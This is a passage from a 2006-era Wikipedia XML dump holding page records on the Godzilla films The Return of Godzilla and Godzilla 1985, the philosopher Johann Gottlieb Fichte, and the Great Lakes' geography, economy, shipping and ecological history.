*[http://www.washingtonpost.com/wp-dyn/articles/A25867-2004May13.html 'Godzilla': Not Your Daddy's Dinosaur] by Stephen Hunter.
*[http://www.villagevoice.com/film/0418,hoberman,53154,20.html It's the Bomb: We're off to see the lizard] by J. Hoberman.

{{Godzilla}}

[[Category:1954 films|Gojira]]
[[Category:Godzilla films|Gojira]]
[[Category:Japanese films|Gojira]]

[[ja:%E3%82%B4%E3%82%B8%E3%83%A9_%281954%29]]</text>
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  </page>
  <page>
    <title>The Return of Godzilla</title>
    <id>12005</id>
    <revision>
      <id>41044968</id>
      <timestamp>2006-02-24T18:20:43Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: fr</comment>
      <text xml:space="preserve">{{Infobox_Film
|name            =The Return of Godzilla / Godzilla 1985
|image           =
|caption         = 
|director        =[[Koji Hashimoto (director)|Koji Hashimoto]]&lt;br&gt;[[R. J. Kizer]] (USA)
|producer        =[[Tomoyuki Tanaka (producer)|Tomoyuki Tanaka]]
|writer          =[[Shuichi Nagahara]]
|starring        =[[Ken Tanaka]]&lt;br&gt;[[Yasuko Sawaguchi]]&lt;br&gt;[[Yosuke Natsuki]]&lt;br&gt;[[Keiju Kobayashi]]&lt;br&gt;[[Shin Takuma]]&lt;br&gt;[[Raymond Burr]] (USA)
|music           =[[Reijiro Koroku]]
|cinematography  =[[Kazutami Hara]]
|editing         =[[Yoshitami Kuroiwa]]
|distributor     =[[Toho]]&lt;br&gt;[[New World Pictures|New World]] (USA)
|released        =[[December 15]], [[1984]]&lt;br&gt;[[August 23]], [[1985]] (USA)
|runtime         =103 min.&lt;br&gt;87 min. (USA)
|language        =[[Japanese language|Japanese]]&lt;br&gt;[[Russian language|Russian]]&lt;br&gt;[[English language|English]]
|budget          =
|imdb_id         = 0087344
|}}
'''''The Return of Godzilla''''' ('''&amp;#12468;&amp;#12472;&amp;#12521; - ''Gojira''''' in Japan) is a [[1984 in film|1984]] [[daikaiju]] [[eiga]]. The sixteenth in [[Toho|Toho Studios]]' [[Godzilla]] series, it was produced by [[Tomoyuki Tanaka (producer)|Tomoyuki Tanaka]] and directed by [[Koji Hashimoto (director)|Koji Hashimoto]] with special effects by [[Teruyoshi Nakano]].

This was the last Godzilla film made in the [[Shōwa period]] and the first in the &quot;VS Series&quot; of Godzilla films (sometimes called the &quot;[[Heisei era (daikaiju eiga)|Heisei Series]]&quot; due to the near-coincidence of its beginning with that of the [[Heisei|Heisei era]] in Japan).  It was Tanaka's intent to restore the darker themes and mood of the early films in the series. To this end ''The Return of Godzilla'' disregards all previous Godzilla films except 1954's ''[[Godzilla (1954 film)|Godzilla]]'', to which it is a direct sequel. It features the lengthiest debate over the use of [[nuclear weapons]] in any Godzilla film (making reference to former [[Eisaku Sato|Prime Minister Satō]]'s [[Three Non-Nuclear Principles]]) and is only the third to depict innocent people being killed by the monster(s).

==''Godzilla 1985''==

In [[1985 in film|1985]] [[New World Communications|New World Pictures]] released a [[Dubbing (filmmaking)|dubbed]] and re-edited version of this film in the U.S. called '''''Godzilla 1985'''''. This [[Americanization|Americanized]] version included additional scenes with [[Raymond Burr]]—reprising his role as reporter Steve Martin from ''[[Godzilla, King of the Monsters|Godzilla, King of the Monsters!]]''—in place of several deleted scenes from the original. The added scenes were directed by [[R. J. Kizer]] and also featured [[Warren Kemmerling]].

This re-edit was released in the U.S. at the height of the [[Cold War]], as several deviations from the original film attest: The anti-nuclear theme of the original is toned down significantly, with one full scene, in which the [[Prime Minister of Japan|Prime Minister]] and his advisors discuss the use of nuclear weapons, removed. More controversially, several [[subtitle|subtitled]] lines of [[Russian language|Russian]] dialog were altered to give the impression that a [[Soviet]] officer intentionally launched a nuclear missile at Tokyo, whereas in the original film the officer had only attempted to stop an automated launch.

Tagline: ''The Legend Is Reborn.''

==Trivia==

*Veteran [[Akihiko Hirata]] (who appeared in several past Godzilla films, the best known of his roles of which is Professor Daisuke Serizawa from ''[[Godzilla (1954 film)|Godzilla]]'') was slated to play Professor Hayashida, but he had sadly passed away from lung cancer before production began.  [[Yosuke Natsuki]], another veteran, took the role instead.
*Stuntman [[Kenpachiro Satsuma]] (who previously played [[Hedorah]] and [[Gigan]] in ''[[Godzilla vs. Hedorah]]'' and ''[[Godzilla vs. Gigan]]'') plays Godzilla for the first time, as a replacement for another stuntman who backed out at the last minute.  Aside from being heavy, the suit was very dangerous (it was not only built from the outside in, but not made to fit him), and Satsuma lost a lot of weight after filming was done.  This mildly mirrored what [[Haruo Nakajima]] went through when he played Godzilla in the original 1954 film.  Subsequent Godzilla suits worn by Satsuma were much safer and comfortable, as they were custom made to fit him (even though the suits still had some dangers of their own).
*The lifelike animatronic Godzilla prop used in close-up shots is the 20-foot &quot;Cybot Godzilla.&quot;  It was heavily touted in the publicity department at the time, even though it was not used in the film as extensively as promoted.

== External links ==

*{{imdb title|id=0087344|title=The Return of Godzilla}}
* [http://www.geocities.com/nmdecke/Godzilla1985.html Godzilla 1985 movie review]
*[http://www.tohokingdom.com/web_pages/m_reviews/vega/return_godzilla_us.htm Toho Kingdom]: ''The Return of Godzilla'' (1984) [New World Pictures].  Reviewer: Miles Imhoff.

{{Template:Godzilla}}

[[Category:1984 films|Return of Godzilla, The]]
[[Category:Japanese films|Return of Godzilla, The]]
[[Category:Godzilla films|Return of Godzilla, The]]

[[fr:Le Retour de Godzilla (film, 1984)]]
[[ja:ゴジラ (1984)]]</text>
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  </page>
  <page>
    <title>Godzilla on Monster Island</title>
    <id>12006</id>
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      <id>27134735</id>
      <timestamp>2005-11-02T04:03:14Z</timestamp>
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        <username>Apostrophe</username>
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      <text xml:space="preserve">#Redirect [[Godzilla vs. Gigan]]</text>
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  </page>
  <page>
    <title>Johann Gottlieb Fichte</title>
    <id>12007</id>
    <revision>
      <id>41971161</id>
      <timestamp>2006-03-02T23:31:55Z</timestamp>
      <contributor>
        <username>Tonyzhangnan</username>
        <id>897846</id>
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      <text xml:space="preserve">[[image:Johann Gottlieb Fichte.jpg|thumb|Johann Gottlieb Fichte]]
'''Johann Gottlieb Fichte''' ([[May 19]], [[1762]] - [[January 27]], [[1814]]) was a [[German People|German]] philosopher, who has significance in the  [[history of Western philosophy]] as one of the leading progenitors of [[German people|German]] [[idealism]], forming a bridge between [[Immanuel Kant]] and the leading figure of German Idealism, G.W.F. Hegel.

==Life and work==
Fichte was born in [[Rammenau]], [[Saxony]]. In 1780, he attended the [[University of Jena]] as a student of [[theology]]. Fichte was originally a follower of [[Baruch Spinoza]] but later followed Kant's philosophy. His ''Attempt at a Critique of All Revelation'' was published anonymously in 1792 and scholars mistakenly thought the attempt was written by Kant himself. Kant cleared the confusion and openly praised the work, which greatly improved Fichte's reputation in the philosophical community.

Fichte did not endorse Kant's argument for the existence of [[noumenon|noumena]], of &quot;things in themselves&quot;, the super-sensible reality beyond the [[category|categories]] of human [[reason]].  Fichte saw the rigorous and [[system]]atic separation of &quot;things in themselves&quot; ([[noumenon|noumena]]) and things &quot;as they appear to us&quot; ([[phenomenon|phenomena]]) as an invitation to [[skepticism]].   

Rather than invite such skepticism, Fichte made the [[radical]] suggestion that we should throw out the notion of a noumenal world and instead accept the fact that [[consciousness]] does not have a grounding in a so-called &quot;real world&quot;.  In fact, Fichte achieved fame for originating the argument that consciousness is not grounded in ''anything'' outside of itself.  This notion eventually became the defining characteristic of [[German Idealism]] and thus an essential underpinning to [[understanding]] the philosophies of [[Georg Wilhelm Friedrich Hegel | Hegel]], and of [[Arthur Schopenhauer]], though they both reject Fichte's notion that human consciousness is itself sufficient ground for [[experience]], and therefore postulate another &quot;absolute&quot; consciousness.

In his famous work ''Foundations of Natural Right'', Fichte stated that [[self-consciousness]] was a social phenomonon. Namely, he writes that self-consciousness depends upon resistance from objects in the external world. However, the mere perception of these external objects depends on self-consciousness. The solution to this paradox, Fichte thinks, is that a being gains consciousness when 'summoned' to be conscious by another rational being outside of oneself. 

Fichte also used self-sufficiency idea for the state, make the goal of a “closed commercial state.” In his mind, State should control international relations, value of money and remain an autarky.

Because of this necessity to have relations with other rational beings in order to achieve consciousness, Fichte writes that there must be a 'relation of right,' in which there is a mutual recognition of rationality by both parties.

In 1806, in a [[Berlin]] occupied by [[Napoleon I of France|Napoléon]], Fichte gave a series of ''Addresses to the German Nation'' which became an incentive for [[German nationalism]]. Here, Fichte indirectly continues his anti-Semitic argumentation from his early works on religion and the [[French Revolution]].

His son [[Immanuel Hermann Fichte]] also made contributions to [[philosophy]].

Fichte died of [[typhus]] at the age of fifty-two.

== Bibliography ==
===Primary Sources===

* ''Early Philosophical Writings''
* (1793) ''Attempt at a Critique of All Revelation (Versuch einer Kritik aller Offenbarung)''     
* (1796) ''[[Foundations of Transcendental Philosophy]] (Wissenschaftslehre nova methodo)''
* (1798) ''The System of Ethics in accordance with the Principles of the Wissenschaftslehre (Das System der Sittenlehre nach den Principien der Wissenschaftslehre)''   
* (1800) ''Introduction to the Wissenschaftslehre and Other Writings''  
* (1800) ''The Vocation of Man (Die Bestimmung des Menschen)'' 
* (1807-8) ''Addresses to the German Nation''

===Secondary Sources (English)===

Arash Abizadeh. [http://www.profs-polisci.mcgill.ca/abizadeh/Fichte.htm &quot;Was Fichte an Ethnic Nationalist?&quot;] ''History of Political Thought'' 26.2 (2005): 334-359.

Daniel Breazeale. &quot;Fichte's 'Aenesidemus' Review and the Transformation of German Idealism&quot; ''The Review of Metaphysics'' 34 (1980/1) 545-68.

Daniel Breazeale and Thomas Rockmore (eds) ''Fichte: Historical Contexts/Contemporary Controversies''. Atlantic Highlands: Humanities Press, 1997.

Franks, Paul, ''All of Nothing: Systematicity, Transcendental Arguments, and Skepticism in German Idealism'', Cambridge: Harvard University Press, 2005

[[Dieter Henrich]]. &quot;Fichte's Original Insight&quot; ''Contemporary German Philosophy'' 1 (1982) 15-52.

T. P. Hohler. ''Imagination and Reflection: Intersubjectivity. Fichte's 'Grundlage' of 1794.''  The Hague: Nijhoff, 1982.

Wayne Martin. ''Idealism and Objectivity: Understanding Fichte's Jena Project.'' Stanford: Stanford University Press, 1997.

[[Frederick Neuhouser]]. ''Fichte's Theory of Subjectivity''. Cambridge: Cambridge University Press, 1990.

[[Peter Suber]].  [http://www.earlham.edu/~peters/writing/fichte.htm &quot;A Case Study in Ad Hominem Arguments:  Fichte's ''Science of Knowledge''],&quot; ''Philosophy and Rhetoric'', 23, 1 (1990) 12-42. 

Robert R Williams. ''Recognition: Fichte and Hegel on the Other''. Albany: State University of New York Press, 1992.

Gunther Zoller. ''Fichte's Transcendental Philosophy: The Original Duplicity of Intelligence and Will''. Cambridge: Cambridge University Press, 1998.

== External links ==
* [http://www.marxists.org/reference/subject/philosophy/works/ge/fichte.htm Outlines of the Doctrine of Knowledge]
* [http://plato.stanford.edu/entries/johann-fichte/ Stanford Encyclopedia of Philosophy Entry]

[[Category:1762 births|Fichte, Gottlieb]]
[[Category:1814 deaths|Fichte, Gottlieb]]
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  <page>
    <title>Great Lakes</title>
    <id>12010</id>
    <revision>
      <id>41642206</id>
      <timestamp>2006-02-28T19:09:37Z</timestamp>
      <contributor>
        <username>Civil Engineer III</username>
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      </contributor>
      <comment>add facts, grammar, format</comment>
      <text xml:space="preserve">[[image:Great Lakes from space.jpg|thumb|350px|right|The Great Lakes from space]]
:''This article is about the group of North American lakes. For the African lakes, see [[African Great Lakes]]. For other uses of this term, see [[Great Lakes (disambiguation)]].''

The '''Great Lakes''' are a group of five large [[Lake|lakes]] on or near the [[United States]]-[[Canada|Canadian]] border.  They are the largest group of [[fresh water]] lakes on the earth and the Great Lakes-St. Lawrence system is the largest fresh-water system in the world. They are sometimes referred to as [[inland sea]]s.

==Lakes==

[[Image:Grlakes_lawrence_map.png|thumb|250px|right|Map of the Great Lakes/St. Lawrence Watershed]]
The Great Lakes are (west to east, general direction of water flow):

*[[Lake Superior]] (the largest and deepest, larger than the [[Czech Republic]])
*[[Lake Michigan]] (the only one entirely in the U.S., the second largest in volume)
*[[Lake Huron]] (the second largest in area)
*[[Lake Erie]] (the smallest in volume and shallowest)
*[[Lake Ontario]] (the smallest in area, much lower altitude than the rest)

A commonly used [[mnemonic]] for remembering the names of the lakes is HOMES, for '''H'''uron, '''O'''ntario, '''M'''ichigan, '''E'''rie, and '''S'''uperior, although this mnemonic puts the lakes in no particular order. Alternative mnemonics such as ''Sister Mary Hates Ecumenical Overtures'' or ''She Made Harry Eat Onions'' place them in west-east order.

Lakes Michigan and Huron, being hydrologically intertwined, are sometimes considered to be one entity: [[Lake Michigan-Huron]]. Considered together, Michigan-Huron would be larger in surface area than Lake Superior, but smaller in total water volume.
[[Image:Great Lakes 2.PNG|thumb|250px|right|Great Lakes: System Profile]]
A much smaller sixth lake, [[Lake Saint Clair (North America)|Lake St. Clair]], is part of the Great Lakes system between Lake Huron and Lake Erie, but is not considered one of the &quot;Great Lakes&quot;. The system also includes the rivers that connect the lakes: [[St. Marys River (Michigan-Ontario)|St. Marys River]] between Lake Superior and Lake Huron, the [[St. Clair River]] between Lake Huron and Lake St. Clair, the [[Detroit River]] between Lake St. Clair and Lake Erie, and the [[Niagara River]] and [[Niagara Falls]], between Lake Erie and Lake Ontario.  (Lake Michigan is connected to Lake Huron through the [[Straits of Mackinac]].)  Large islands and a peninsula divide Lake Huron into the lake proper and [[Georgian Bay]].

The lakes are bounded by [[Ontario]] (all of the lakes but Michigan), [[Minnesota]], [[Wisconsin]], [[Michigan]] (all but Ontario), [[Illinois]], [[Indiana]], [[Ohio]], [[Pennsylvania]], and [[New York]]. Four of the five lakes straddle the U.S.-Canada border; the fifth, Lake Michigan, is entirely within the [[United States]]. The [[Saint Lawrence River]], which marks the same international border for a portion of its course, is a primary outlet of these interconnected lakes, and flows through [[Quebec]] and past the [[Gaspé Peninsula|Gaspé Peninsula]] to the northern [[Atlantic Ocean]].

[[image:NorthAmericaSatelliteImage.jpg|thumb|250px|right|The Great Lakes are clearly visible in this satellite image of North America]]

Sprinkled throughout the lakes are the approximately 35,000 [[Islands_of_the_Great_Lakes|Great Lakes islands]], including [[Manitoulin Island]] in Lake Huron, the largest island in any inland body of water, and [[Isle Royale]] in Lake Superior, the largest island in the largest lake (each island large enough to itself contain multiple lakes).

Today, 20 percent of the world’s freshwater supply is contained in the five great lakes: 5,473 cubic miles, or 6 quadrillion gallons in all. It is enough water to cover the lower 48 states to a uniform depth of 9.5 feet. The combined [[surface area]] of the lakes is 94,250 square miles – larger than the states of [[New York]], [[New Jersey]], [[Connecticut]], [[Rhode Island]], [[Massachusetts]], [[Vermont]] and [[New Hampshire]] combined. Stretched end to end, their shorelines would reach nearly halfway around the [[equator]]. 

The [[Saint Lawrence Seaway]] and [[Great Lakes Waterway]] opened the Great Lakes to ocean-going vessels. However the move to wider ocean-going container ships - which do not fit through the [[canal lock|lock]]s on these routes - has limited shipping on the lakes.  Despite their vast size, large sections of the Great Lakes freeze over in winter, and most shipping stops during that season. There are some [[Icebreaker|icebreakers]] that operate on the lakes.

The lakes have an effect on weather in the region, known as [[lake effect snow|lake effect]].  In winter, the moisture picked up by the prevailing winds from the west can produce very heavy snowfall, especially along lakeshores to the east such as in Michigan, Ontario, and New York.  The most infamous example is the [[Blizzard of 1977|Blizzard of '77]] in which previous heavy snowfall and strong winds running the length of Lake Erie covered [[Buffalo, New York]] in drifting snow.  The lakes also moderate seasonal temperatures somewhat, by absorbing heat and cooling the air in summer, then slowly radiating that heat in autumn.  This temperature buffering produces areas known as &quot;fruit belts&quot;, where fruit typically grown farther south can be produced in commercial quantities.

{| border=0 cellspacing=2 cellpadding=0 width=600 style=&quot;font-size:smaller; clear:both;&quot;
|+ style=&quot;font-size:larger;&quot;| '''Relative elevations, average depths, maximum depths, and volumes of the Great Lakes.'''
|-
|colspan=2|
&lt;timeline&gt;
ImageSize  = width:595 height:250
PlotArea   = width:525 height:200 left:50 bottom:15
AlignBars = justify

Period    = from:-1000 till:600
TimeAxis  = orientation:vertical
ScaleMajor = unit:year increment:500 start:-1000
ScaleMinor = unit:year increment:100 start:-1000

Colors =
  id:blue1 value:rgb(0.0,0.0,0.75)
  id:blue2 value:rgb(0.1,0.1,0.8)
  id:blue3 value:rgb(0.2,0.2,0.85)
  id:blue4 value:rgb(0.3,0.3,0.9)
  id:blue5 value:rgb(0.4,0.4,0.95)
  id:textinbar value:yelloworange
  id:textoutsidebar value:redorange

Define $elevation = shift:(0,15) mark:(line,textoutsidebar) textcolor:textoutsidebar
Define $avgdepth = mark:(line,textinbar) textcolor:textinbar
Define $maxdepth = shift:(0,-11) mark:(line,textoutsidebar) textcolor:textoutsidebar

PlotData=
  align:center

  bar:Superior from:-732 till:600 width:194 color:blue1
    $elevation at:600 text:&quot;600 ft~(183 m)&quot;
    $avgdepth at:117 shift:(0,1) text:&quot;483 ft (147 m)&quot;
    $maxdepth at:-732 text:&quot;1332 ft (406 m)&quot;

  bar:Michigan from:-348 till:577 width:113 color:blue5
    $elevation at:577 text:&quot;577 ft~(176 m)&quot;
    $avgdepth at:298 shift:(0,2) text:&quot;279 ft~(85 m)&quot;
    $maxdepth at:-348 text:&quot;925 ft (282 m)&quot;

  bar:Huron from:-173 till:577 width:101 color:blue3
    $elevation at:577 text:&quot;577 ft~(176 m)&quot;
    $avgdepth at:382 shift:(0,1) text:&quot;195 ft (59 m)&quot;
    $maxdepth at:-173 text:&quot;750 ft (229 m)&quot;

  bar:Erie from:359 till:569 width:49 color:blue2
    $elevation at:569 text:&quot;569 ft~(173 m)&quot;
    $avgdepth at:507 align:left shift:(30,2) textcolor:textoutsidebar text:&quot;62 ft (19 m)&quot;
    $maxdepth at:359 text:&quot;210 ft~(64 m)&quot;

  bar:Ontario from:-559 till:243 width:44 color:blue4
    $elevation at:243 text:&quot;243 ft~(74 m)&quot;
    $avgdepth at:-40 shift:(0,2) text:&quot;283 ft~(86 m)&quot;
    $maxdepth at:-559 text:&quot;802 ft~(244 m)&quot;

  align:left shift:(35,0) textcolor:green
    at:243 text:&quot;surface~elevation&quot;
    at:-40 text:&quot;average~depth&quot;
    at:-559 text:&quot;maximum~depth&quot;
&lt;/timeline&gt;
|- valign=top
!align=right| Notes:
| The area of each rectangle is proportionate to the volume of each lake.  All measurements at Low Water Datum.
|- valign=top
!align=right| Source:
| [[Environmental Protection Agency|EPA]]'s [http://www.epa.gov/glnpo/atlas/gl-fact1.html Great Lakes Atlas: Factsheet #1].
|}

==Geologic pre-history==
&lt;gallery&gt;
Image:Great Lakes Lake Superior.png|[[Lake Superior]]
Image:Great Lakes Lake Michigan.png|[[Lake Michigan]]
Image:Great Lakes Lake Ontario.png|[[Lake Ontario]]
Image:Great Lakes Lake Huron.png|[[Lake Huron]]
Image:Great Lakes Lake Erie.png|[[Lake Erie]]
&lt;/gallery&gt;
The Great Lakes were formed at the end of the last [[ice age]] about 10,000 years ago, when the [[Laurentide ice sheet]] receded. When this happened, the glaciers left behind a large amount of meltwater (see [[Lake Agassiz]]) which filled up the basins that the glaciers had carved, thus creating the Great Lakes as we know them today. Because of the uneven nature of glacier [[erosion]], some higher hills became [[Islands_of_the_Great_Lakes|Great Lakes islands]]. The ''[[Niagara Escarpment]]'' follows the contour of the Great Lakes between New York and Wisconsin -- [[Herbert Simon]] called this escarpment ''the spinal cord of my native land''.

==Economy==

The lakes are extensively used for [[transport]], though [[cargo]] traffic has decreased considerably in recent years.  The [[Great Lakes Waterway]] makes each of the lakes accessible.

During settlement, the Great Lakes and its rivers were the only practical means of moving people and freight. Anything and everything floated on the lakes. Some ended up on the bottom due to storms, fires, collisions and underwater hazards. (See ''[[SS_Edmund_Fitzgerald|Edmund Fitzgerald]]'' and ''[[Le Griffon]]''.)  [[Barge|Barges]] from middle [[North America]] were able to reach the Atlantic Ocean from the Great Lakes when the [[Erie Canal]] opened in [[1825]].  By 1848, with the opening of the [[Illinois_and_Michigan_Canal|Illinois and Michigan Canal]] at [[Chicago, Illinois|Chicago]], direct access to the Mississippi River was possible from the lakes.  With these two canals an all-inland water route was provided between New York City and New Orleans.

The main business of many of the passenger lines in the 1800s was transporting [[immigration|immigrants]]. Many of the larger cities owe their existence to their position on the lakes as a freight destination as well as for being a magnet for immigrants. After railroads and surface roads developed the freight and passenger businesses dwindled and, excepting ferries and a few foreign cruise ships, now has vanished.

Yet, the immigration routes still have an effect today. Immigrants often formed their own communities and some areas have a pronounced ethnicity, say Dutch, German, Polish or Finnish, among many others. Since many immigrants settled for a time in New England before moving westward, many areas  on the U.S. side of the Great Lakes also have a New England feel, especially in home styles and accent.

Since general freight these days is transported by railroads and trucks (lorries), domestic ships mostly move bulk cargoes, such as [[iron ore]] and its derivatives, [[coal]] and [[limestone]] for the [[steel]] industry. The domestic bulk freight developed because of the nearby mines. It was more economical to transport the ingredients for steel to centralized plants rather than try to make steel on the spot. Ingredients for steel, however, are not the only bulk shipments made. Grain exports are also a major shipping commodity on the lakes.

In the 19th and early 20th centuries, iron and other ores such as copper were shipped south (downbound ships) and supplies, food staples, and coal was shipped north (upbound). Due to the location of the coal fields in [[Pennsylvania]] and [[West Virginia]], and the general northeast track of the [[Appalachian Mountains]], railroads naturally developed shipping routes that went due north to ports such as [[Erie, Pennsylvania]] and [[Ashtabula, Ohio]].


Because the lake maritime community largely developed independently, it has its own language. Ships, no matter the size, are referred to as ''boats''. When the sailing ships gave way to steamships, they were called ''steamboats''&amp;mdash;the same term used on the Mississippi. The ships also have a distinctive design. Ships that primarily trade on the lakes are known as ''lakers''. Foreign boats are known as ''salties''.

One of the more common sights on the lakes is the 1,000 by 105-foot (305 by 32-m), 60,000 U.S. [[long ton]] (61,000 [[tonne|metric tonnes]]) self-unloader. This is a laker with a huge conveyor belt system that can unload itself by swinging a crane over the side. Understandably, because most things go by land and the fact that one modern ship is the equivalent of many older ships, the Great Lakes fleet is a fraction of what it once was.

===Modern economy===

The Great Lakes are used as a major mode of [[transport]] for bulk goods. The brigantine ''[[Le Griffon]]'', which was commissioned by [[René Robert Cavelier, Sieur de La Salle]], was towed to the southern end of the [[Niagara River]], to become the first sailing ship to travel the upper Great Lakes on [[August 7]], [[1679]].

In 2002, 162 million net tons of dry bulk cargo was moved on the Lakes. This was, in order of volume: iron ore, coal, stone, grain, salt, cement and potash. The iron ore and much of the stone and coal are used in the steel industry. There is also some shipping of liquid and containerized cargo but most container ships cannot pass the locks on the Saint Lawrence Seaway because they are too wide. The total amount of shipping on the lakes has been on a downward trend for several years.    

[[Image:Carlb-lake-ontario-02.jpg|right|350px|Wolfe Islander III, Kingston, Ontario]]
Recreational boating and tourism are major industries on the Great Lakes. A few small cruise ships operate on the Great Lakes including a couple of [[sailing|sailing ships]]. Sport fishing, commercial fishing, and Native American fishing represent a US$4 billion a year industry with [[salmon]], [[whitefish (genus)|whitefish]], [[smelt]], [[lake trout]], and [[walleye]] being major catches.

The Great Lakes are used to supply drinking water to tens of millions of people in bordering areas. This valuable resource is collectively administered by the state and provincial governments adjacent to the lakes.

===Passenger traffic===

Several ferries operate on the Great Lakes to carry passengers to various islands, including [[Isle Royale]], [[Pelee, Ontario|Pelee Island]], [[Mackinac Island]], [[Beaver Island (Lake Michigan)|Beaver Island]], both [[Bois Blanc Island]]s, [[Kelleys Island, Ohio|Kelleys Island]], [[South Bass Island]], [[North Manitou Island]], [[South Manitou Island]], [[Harsens Island]], [[Manitoulin Island]], and the [[Toronto Islands]]. [[2005|As of 2005]], three car ferry services cross the Great Lakes: a steamer across Lake Michigan from [[Ludington, Michigan]] to [[Manitowoc, Wisconsin]]; a high speed catamaran on a second Lake Michigan route from [[Milwaukee, Wisconsin]] to [[Muskegon, Michigan]]; and [[Spirit of Ontario I|an international ferry]] across Lake Ontario from [[Rochester, New York]] to [[Toronto, Ontario]].

===Perils on the Inland Seas===

Travel on the Lakes has not been without risks.  There are parts where no land is visible due to the curvature of the earth and the immense size of the Lakes: thus they are sometimes referred to as ''inland seas''.

[[Storm]]s and [[reef]]s are a common threat, and many thousands of [[ship]]s have sunk in these waters. It is estimated that between 6,000 and 10,000 ships have sunk or been stranded since the early 1800s, many with partial or total loss of crew. This area is prone to sudden and severe storms, particularly in the autumn from late October until early December.  The [[Great Lakes Storm of 1913]] became the worst Great Lakes storm on record: at least 12 ships sank, and 31 more were stranded on rocks and beaches. At least 248 sailors lost their lives over that weekend.  The [[SS Edmund Fitzgerald|SS ''Edmund Fitzgerald'']], which sank November 10, 1975, was famously the last major freighter lost on the lakes.

The greatest concentration of these wrecks lies near [[Thunder Bay (Michigan)]], beneath Lake Huron, near the point where eastbound and westbound shipping lanes converge.  Today there is a U.S. [[National Oceanic and Atmospheric Administration|NOAA]] Marine Archeology Research Station located in the [[Thunder Bay National Marine Sanctuary]].  Here divers can explore more than 200 shipwrecks that form one of the most concentrated and best preserved [[maritime archaeology]] sites in the world.

===Invasive species===

The Great Lakes have been hit economically by various [[invasive species]], two of the most significant being the [[Lamprey|sea lamprey]] and [[zebra mussel]]. The mussel clogs pipes leading to the lake and causes approximately US$1 billion in damages per year while destroying native species. The lamprey feeds on the sport fish of the lake, making it less attractive to fishermen.  An electric fence has been set up across the mouth of the Great Lakes in order to keep an invasive species of carp out of the area.

==Political issues==

The [[International Joint Commission]] was established in 1909 to help prevent and resolve disputes relating to the use and quality of boundary waters, and to advise Canada and the United States on questions related to water resources. Concerns over diversion of Lake water are of concern to both Americans and Canadians. Some water is diverted through the [[Chicago River]] to operate the [[Illinois Waterway]] but the flow is limited by treaty. Possible schemes for bottled water plants and diversion to dry regions of the continent raise concerns. Under the U.S. &quot;Water Resources Development Act&quot;[http://www.ohiodnr.com/water/planing/greatlksgov/fedstatut.htm], diversions of water from the Great Lakes basin requires the approval of all eight Great Lakes governors, which rarely occurs. International treaties regulate large diversions. In 1998, the Canadian company [[Nova Group]] won approval from the Province of Ontario to withdraw 600,000 m&amp;sup3; (158,000,000 US gal) of Lake Superior water annually to ship by tanker to Asian countries. Public outcry forced the abandonment of the plan before it began.

The [[Rush-Bagot Treaty|Rush-Bagot Agreement]] of 1817 limits the number of armed vessels permitted on the Great Lakes. Some are wondering if this agreement will survive the aftermath of [[September 11, 2001]].

[[Lake Champlain]] on the border between upstate [[New York]] and northwestern [[Vermont]] briefly became the sixth &quot;Great Lake of the [[United States]]&quot; on [[March 6]], [[1998]], when [[Bill Clinton|President Clinton]] signed Senate Bill 927.  This bill, which reauthorized the [[National Sea Grant Program]], contained a line penned by Senator [[Patrick Leahy]] (D-VT) declaring [[Lake Champlain]] to be a Great Lake.  Not coincidentally, this status allows neighboring states to apply for additional federal research and education funds allocated to these national resources.  Following a small uproar (and several ''[[The New York Times|New York Times]]'' articles), the Great Lake status was rescinded (although [[Vermont]] universities continue to receive funds to monitor and study the lake).

===Ecological challenges===

The Lakes provided fish to the [[American Indian|Native]] groups who lived near them or upon their shores.  Early European settlers were astounded by both the variety and quantity of fish. Historically, fish populations were the early indicator of the condition of the Lakes, and have remained one of the key indicators even in our technological era of sophisticated analyses and measuring instruments.  According to the bi-national (U.S. and Canadian) resource book, ''The Great Lakes: An Environmental Atlas and Resource Book'', &quot;the largest Great Lakes fish harvests were recorded in 1889 and 1899 at some 67,000 tonnes (147 million pounds),&quot; though the beginning of environmental impacts on the fish can be traced back nearly a century prior to those years.

By 1801, New York legislators found it necessary to pass regulations curtailing obstructions to the natural migrations of Atlantic salmon from Lake Erie into their spawning channels.  In the early nineteenth century, Upper Canada’s government found it necessary to introduce similar legislation prohibiting the use of weirs and nets at the mouths of Lake Ontario’s tributaries.  Other protective legislation was passed as well, but enforcement remained difficult and often quite spotty.

On both sides of the U.S.-Canada border, the proliferation of dams and impoundments multiplied, necessitating more regulatory efforts.  The decline in fish populations was unmistakable by the middle of the nineteenth century.  The decline in [[salmon]] was recognized by Canadian officials and reported as virtually a complete absence by the end of the 1860s. The Wisconsin Fisheries Commission noted a reduction of roughly 25 percent in general fish harvests by 1875.

Overfishing was cited as responsible for the decline of the population of various [[whitefish]], important due to their culinary desirability and, hence, economic consequence. Moreover, between 1879 and 1899, reported whitefish harvests declined from some 24.3 million pounds (11 million kg) to just over 9 million pounds (4 million kg).  Recorded sturgeon catches fell from 7.8 million pounds (1.5 million kg) in 1879 to 1.7 million pounds (770,000 kg) in 1899.

There were, however, other factors in the declines besides overfishing and the problems posed by dams and other obstructions.  [[Logging]] in the region removed tree cover near stream channels which provide spawning grounds, and this affected necessary shade and temperature-moderating conditions.  Removal of tree cover also destabilized soil, allowing soil to be carried in greater quantity into the streambeds, and even brought about more frequent flooding.  Running cut logs down the Lakes’ tributary rivers also stirred bottom sediments.  In 1884, the New York Fish Commission determined that the dumping of sawmill waste (chips and sawdust) was impacting fish populations.

The Great Lakes are international, and in situations that require regulation, a lack of cooperation between the U.S. and Canada might be predicted to have disastrous consequences.  In the development of ecological problems in the Great Lakes, it was the influx of parasitic [[lamprey]] populations after the development of the [[Erie Canal]] and the much later [[Welland Canal]] that led to the two federal governments attempting to work together – which proved a very complicated and troubled road.

Nevertheless, despite the ever more sophisticated efforts to eliminate or minimize the lamprey, by the mid 1950s Lake Michigan and Huron’s lake trout populations were reduced by about 99%, with the lamprey deemed largely to blame.  A result was the bi-national Great Lakes Fishery Commission.

